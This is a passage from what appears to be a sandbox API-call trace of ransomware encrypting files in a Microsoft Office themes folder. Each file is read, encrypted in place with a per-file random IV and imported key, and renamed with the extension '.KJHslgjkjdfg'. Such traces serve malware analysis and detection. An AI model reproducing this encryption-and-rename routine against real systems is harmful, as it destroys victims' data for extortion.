(hObject=0x12c) returned 1 [0172.277] GetProcessHeap () returned 0x990000 [0172.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0172.277] GetProcessHeap () returned 0x990000 [0172.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.277] GetProcessHeap () returned 0x990000 [0172.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.277] GetProcessHeap () returned 0x990000 [0172.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.278] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.278] GetProcessHeap () returned 0x990000 [0172.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0172.278] GetProcessHeap () returned 0x990000 [0172.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0172.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.280] GetProcessHeap () returned 0x990000 [0172.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.280] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.280] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0172.280] GetProcessHeap () returned 0x990000 [0172.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0172.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.281] GetProcessHeap () returned 0x990000 [0172.281] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.281] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.281] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.282] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0172.284] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.284] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.284] GetProcessHeap () returned 0x990000 [0172.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.285] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.285] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.285] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.285] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.285] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.285] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.285] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.285] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.286] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.286] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.286] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.286] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb0ce, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb0ce, lpOverlapped=0x0) returned 1 [0172.287] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb0d0, dwBufLen=0xb0d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb0d0) returned 1 [0172.288] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.288] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb0d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb0d0, lpOverlapped=0x0) returned 1 [0172.288] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.288] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.288] SetEndOfFile (hFile=0x12c) returned 1 [0172.293] GetProcessHeap () returned 0x990000 [0172.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.293] GetProcessHeap () returned 0x990000 [0172.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.kjhslgjkjdfg")) returned 1 [0172.294] CloseHandle (hObject=0x12c) returned 1 [0172.294] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0172.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.294] GetProcessHeap () returned 0x990000 [0172.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.294] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.295] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.295] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0172.297] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.297] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.297] GetProcessHeap () returned 0x990000 [0172.297] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.297] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.297] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.297] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.297] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.297] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.297] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.297] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.298] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.298] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.298] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1f7, lpOverlapped=0x0) returned 1 [0172.298] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200, dwBufLen=0x200 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200) returned 1 [0172.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.298] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x200, lpOverlapped=0x0) returned 1 [0172.298] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.298] SetEndOfFile (hFile=0x12c) returned 1 [0172.301] GetProcessHeap () returned 0x990000 [0172.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.301] GetProcessHeap () returned 0x990000 [0172.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.kjhslgjkjdfg")) returned 1 [0172.312] CloseHandle (hObject=0x12c) returned 1 [0172.312] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.313] GetProcessHeap () returned 0x990000 [0172.313] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.313] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.313] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.313] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.319] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.319] GetProcessHeap () returned 0x990000 [0172.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.319] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.319] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.319] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.320] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.320] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.320] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x5ad, lpOverlapped=0x0) returned 1 [0172.320] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5b0) returned 1 [0172.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.320] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x5b0, lpOverlapped=0x0) returned 1 [0172.320] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.321] SetEndOfFile (hFile=0x12c) returned 1 [0172.323] GetProcessHeap () returned 0x990000 [0172.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.323] GetProcessHeap () returned 0x990000 [0172.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.324] CloseHandle (hObject=0x12c) returned 1 [0172.324] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.325] GetProcessHeap () returned 0x990000 [0172.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.325] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.325] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.325] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0172.327] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.327] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.327] GetProcessHeap () returned 0x990000 [0172.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.327] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.327] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.328] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.328] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.328] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.328] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.328] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.328] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6212, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6212, lpOverlapped=0x0) returned 1 [0172.329] CryptEncrypt (in: 